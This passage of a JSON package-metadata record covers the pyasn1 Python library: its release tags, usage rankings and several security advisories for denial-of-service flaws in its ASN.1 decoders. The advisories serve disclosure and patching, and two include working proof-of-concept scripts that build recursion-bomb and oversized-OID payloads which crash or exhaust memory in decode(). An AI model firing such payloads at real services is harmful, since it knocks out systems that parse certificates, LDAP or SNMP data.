:"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":"2017-07-26T17:30:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.1/manifests"},{"name":"0.2.3","sha":"a95b62a8b026d8c61a9c12d257cdf584f7bcdb8e","kind":"commit","published_at":"2017-02-25T22:39:16.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/0.2.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/0.2.3/manifests"},{"name":"v0.2.2","sha":"c22b813b9251c35347eace1ea3189d9cbfadfa24","kind":"commit","published_at":"2017-02-07T00:17:50.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.2/manifests"},{"name":"v0.2.1","sha":"3fee03b393ee6a6e7e0baf70e54ce5ae7f7e42c1","kind":"commit","published_at":"2017-02-04T22:34:36.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.2.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.2.1/manifests"}]},"repo_metadata_updated_at":"2026-08-20T11:40:21.849Z","dependent_packages_count":553,"downloads":582470358,"downloads_period":"last-month","dependent_repos_count":94117,"rankings":{"downloads":0.004952247494988142,"dependent_repos_count":0.01247232702441458,"dependent_packages_count":0.04512047717655863,"stargazers_count":15.158646165584816,"forks_count":11.217941075591472,"docker_downloads_count":0.005135664068876592,"average":4.407377992823521},"purl":"pkg:pypi/pyasn1","advisories":[{"uuid":"GSA_kwCzR0hTQS1obTR3LXd3Y3ctbXI2cs4ABfJP","url":"https://github.com/advisories/GHSA-hm4w-wwcw-mr6r","title":"pyasn1: Uncontrolled resource consumption when converting decoded REAL values","description":"### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value — prettyPrint(), str(), comparison, arithmetic, or an explicit float() call — consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real — float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as \u003coverflow\u003e.\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T19:11:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r","https://nvd.nist.gov/vuln/detail/CVE-2026-59886","https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4","https://github.com/advisories/GHSA-hm4w-wwcw-mr6r"],"source_kind":"github","identifiers":["GHSA-hm4w-wwcw-mr6r","CVE-2026-59886"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.146Z","updated_at":"2026-08-21T09:00:45.630Z","epss_percentage":0.00335,"epss_percentile":0.26529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTR3LXd3Y3ctbXI2cs4ABfJP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1obTR3LXd3Y3ctbXI2cs4ABfJP","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.4","vulnerable_version_range":"\u003c= 0.6.3"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obTR3LXd3Y3ctbXI2cs4ABfJP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04cHBmLTRmN2gtNXBwas4ABfJO","url":"https://github.com/advisories/GHSA-8ppf-4f7h-5ppj","title":"pyasn1: Quadratic complexity in OBJECT IDENTIFIER and RELATIVE-OID processing allows denial of service","description":"### Impact\nThe BER/CER/DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A small crafted payload (tens of kilobytes) containing an OID with many arcs consumes seconds of CPU per decode() call, allowing denial of service in any application that decodes untrusted ASN.1 data (certificates, LDAP, SNMP, Kerberos, etc.). The corresponding encoders have the same quadratic behavior, reachable when an application re-encodes previously decoded attacker-supplied values.\n\nThe arc-size limit introduced for CVE-2026-23490 bounds the byte length of an individual arc but not the number of arcs, so it does not mitigate this issue.\n\n### Affected components\nObjectIdentifierPayloadDecoder and RelativeOIDPayloadDecoder in pyasn1/codec/ber/decoder.py; ObjectIdentifierEncoder and RelativeOIDEncoder in pyasn1/codec/ber/encoder.py. The CER and DER codecs inherit these and are equally affected.\n\n### Patches\nFixed in pyasn1 0.6.4: arc accumulation in both decoders and encoders now runs in linear time.\n\n### Workarounds\nLimit the size of untrusted ASN.1 input before decoding.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T19:11:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj","https://nvd.nist.gov/vuln/detail/CVE-2026-59885","https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4","https://github.com/advisories/GHSA-8ppf-4f7h-5ppj"],"source_kind":"github","identifiers":["GHSA-8ppf-4f7h-5ppj","CVE-2026-59885"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.146Z","updated_at":"2026-08-21T09:00:45.631Z","epss_percentage":0.00335,"epss_percentile":0.26529,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cHBmLTRmN2gtNXBwas4ABfJO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04cHBmLTRmN2gtNXBwas4ABfJO","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.4","vulnerable_version_range":"\u003c= 0.6.3"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04cHBmLTRmN2gtNXBwas4ABfJO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tNHA3LXI1cmMtN2c0as4ABfJN","url":"https://github.com/advisories/GHSA-m4p7-r5rc-7g4j","title":"pyasn1 BER/CER/DER decoder denial of service via unbounded long-form tag IDs","description":"### Impact\nThe BER decoder (shared by the CER and DER codecs) parses long-form tags by accumulating continuation octets in a loop with no upper bound on the size of the tag ID. A crafted input can force the decoder to build an arbitrarily large integer, with CPU cost growing quadratically in input size — a ~1 MB input consumes over a minute of CPU. On Python 3.11+, the oversized tag ID can also trigger an unhandled `ValueError` (integer string conversion limit) while the decoder formats error messages, violating the documented `PyAsn1Error` contract and potentially bypassing caller error handling.\n\nAny application decoding untrusted BER/CER/DER input is affected.\n\n### Affected components\n- `pyasn1.codec.ber.decoder` — `decode()` and `StreamingDecoder`\n- `pyasn1.codec.cer.decoder` and `pyasn1.codec.der.decoder`, which inherit\n  the same tag parsing\n- `pyasn1.type.tag` — `Tag`/`TagSet` reprs could raise `ValueError` when\n  rendering oversized tag IDs (reachable through decoder error paths)\n\nThe encoders and the `pyasn1.codec.native` codec are not affected.\n\n### Patches\nFixed in 0.6.4. Long-form tag IDs are now limited to 20 octets (140-bit tag IDs, matching the existing OID arc limit); oversized tags are rejected with `PyAsn1Error`. Tag ID rendering in reprs and error messages was additionally hardened against the interpreter's integer-to-string conversion limit.\n\n### Workarounds\nBound the size of untrusted input passed to `decode()` before calling it.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-21T19:10:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j","https://nvd.nist.gov/vuln/detail/CVE-2026-59884","https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4","https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml","https://github.com/advisories/GHSA-m4p7-r5rc-7g4j"],"source_kind":"github","identifiers":["GHSA-m4p7-r5rc-7g4j","CVE-2026-59884"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-21T20:00:09.146Z","updated_at":"2026-07-31T23:00:08.813Z","epss_percentage":0.00349,"epss_percentile":0.27535,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHA3LXI1cmMtN2c0as4ABfJN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNHA3LXI1cmMtN2c0as4ABfJN","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.4","vulnerable_version_range":"\u003c 0.6.4"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHA3LXI1cmMtN2c0as4ABfJN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qcjI3LW00cDItcmM2cs4ABTwL","url":"https://github.com/advisories/GHSA-jr27-m4p2-rc6r","title":"Denial of Service in pyasn1 via Unbounded Recursion","description":"### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n    decoder.decode(payload)\nexcept RecursionError:\n    print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n    print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n    print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (\u003c100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (\u003c200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-17T16:17:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r","https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3","https://nvd.nist.gov/vuln/detail/CVE-2026-30922","https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0","http://www.openwall.com/lists/oss-security/2026/03/20/4","https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html","https://access.redhat.com/errata/RHSA-2026:22969","https://access.redhat.com/errata/RHSA-2026:22970","https://access.redhat.com/errata/RHSA-2026:22987","https://access.redhat.com/errata/RHSA-2026:24761","https://access.redhat.com/errata/RHSA-2026:24762","https://access.redhat.com/errata/RHSA-2026:37275","https://access.redhat.com/errata/RHSA-2026:41928","https://access.redhat.com/errata/RHSA-2026:6309","https://access.redhat.com/errata/RHSA-2026:6568","https://access.redhat.com/errata/RHSA-2026:6720","https://access.redhat.com/errata/RHSA-2026:6912","https://access.redhat.com/errata/RHSA-2026:6926","https://access.redhat.com/errata/RHSA-2026:8437","https://access.redhat.com/security/cve/CVE-2026-30922","https://bugzilla.redhat.com/show_bug.cgi?id=2448553","https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json","https://access.redhat.com/errata/RHSA-2026:10184","https://access.redhat.com/errata/RHSA-2026:12176","https://access.redhat.com/errata/RHSA-2026:13508","https://access.redhat.com/errata/RHSA-2026:13512","https://access.redhat.com/errata/RHSA-2026:13545","https://access.redhat.com/errata/RHSA-2026:13553","https://access.redhat.com/errata/RHSA-2026:13902","https://access.redhat.com/errata/RHSA-2026:13916","https://access.redhat.com/errata/RHSA-2026:13917","https://access.redhat.com/errata/RHSA-2026:14020","https://access.redhat.com/errata/RHSA-2026:16009","https://access.redhat.com/errata/RHSA-2026:17083","https://access.redhat.com/errata/RHSA-2026:17611","https://access.redhat.com/errata/RHSA-2026:19138","https://access.redhat.com/errata/RHSA-2026:19355","https://access.redhat.com/errata/RHSA-2026:19375","https://access.redhat.com/errata/RHSA-2026:19712","https://access.redhat.com/errata/RHSA-2026:20588","https://access.redhat.com/errata/RHSA-2026:22131","https://access.redhat.com/errata/RHSA-2026:22132","https://access.redhat.com/errata/RHSA-2026:22133","https://access.redhat.com/errata/RHSA-2026:22134","https://access.redhat.com/errata/RHSA-2026:22135","https://github.com/advisories/GHSA-jr27-m4p2-rc6r"],"source_kind":"github","identifiers":["GHSA-jr27-m4p2-rc6r","CVE-2026-30922"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-17T17:00:10.717Z","updated_at":"2026-08-15T20:04:57.386Z","epss_percentage":0.00803,"epss_percentile":0.53533,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjI3LW00cDItcmM2cs4ABTwL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qcjI3LW00cDItcmM2cs4ABTwL","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.3","vulnerable_version_range":"\u003c= 0.6.2"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qcjI3LW00cDItcmM2cs4ABTwL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02M3ZtLTQ1NGgtdmhocc4ABRMi","url":"https://github.com/advisories/GHSA-63vm-454h-vhhq","title":"pyasn1 has a DoS vulnerability in decoder","description":"### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b'\\x81' * payload_size + b'\\x00'\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b'\\x81' + length.to_bytes(1, 'big')\nelif length \u003c 256**2:\n    length_bytes = b'\\x82' + length.to_bytes(2, 'big')\nelif length \u003c 256**3:\n    length_bytes = b'\\x83' + length.to_bytes(3, 'big')\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b'\\x84' + length.to_bytes(4, 'big')\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b'\\x06' + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f'[+] Decoded successfully')\n    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')\n\n    # Try to convert to string\n    print('[*] Converting to string...')\n    try:\n        str_result = str(result[0])\n        print(f'[+] String succeeded: {len(str_result)} chars')\n        if len(str_result) \u003e 10000:\n            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')\n    except MemoryError:\n        print(f'[-] MemoryError during string conversion!')\n    except Exception as e:\n        print(f'[-] {type(e).__name__} during string conversion')\n\nexcept MemoryError:\n    print('[-] MemoryError: Out of memory!')\nexcept Exception as e:\n    print(f'[-] Error: {type(e).__name__}: {e}')\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  '0':  10.1%\n  '1':   9.9%\n  '2':  10.0%\n  '3':   9.9%\n  '4':   9.9%\n  '5':  10.0%\n  '6':  10.0%\n  '7':  10.0%\n  '8':   9.9%\n  '9':  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-01-16T19:19:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq","https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6","https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496","https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2","https://nvd.nist.gov/vuln/detail/CVE-2026-23490","https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970","https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html","https://access.redhat.com/errata/RHSA-2026:4148","https://access.redhat.com/errata/RHSA-2026:4147","https://access.redhat.com/errata/RHSA-2026:4146","https://access.redhat.com/errata/RHSA-2026:4145","https://access.redhat.com/errata/RHSA-2026:4144","https://access.redhat.com/errata/RHSA-2026:4143","https://access.redhat.com/errata/RHSA-2026:4142","https://access.redhat.com/errata/RHSA-2026:4141","https://access.redhat.com/errata/RHSA-2026:4140","https://access.redhat.com/errata/RHSA-2026:4139","https://access.redhat.com/errata/RHSA-2026:4138","https://access.redhat.com/errata/RHSA-2026:39894","https://access.redhat.com/errata/RHSA-2026:3959","https://access.redhat.com/errata/RHSA-2026:3958","https://access.redhat.com/errata/RHSA-2026:37275","https://access.redhat.com/errata/RHSA-2026:41928","https://access.redhat.com/errata/RHSA-2026:42644","https://access.redhat.com/errata/RHSA-2026:4943","https://access.redhat.com/errata/RHSA-2026:5606","https://access.redhat.com/security/cve/CVE-2026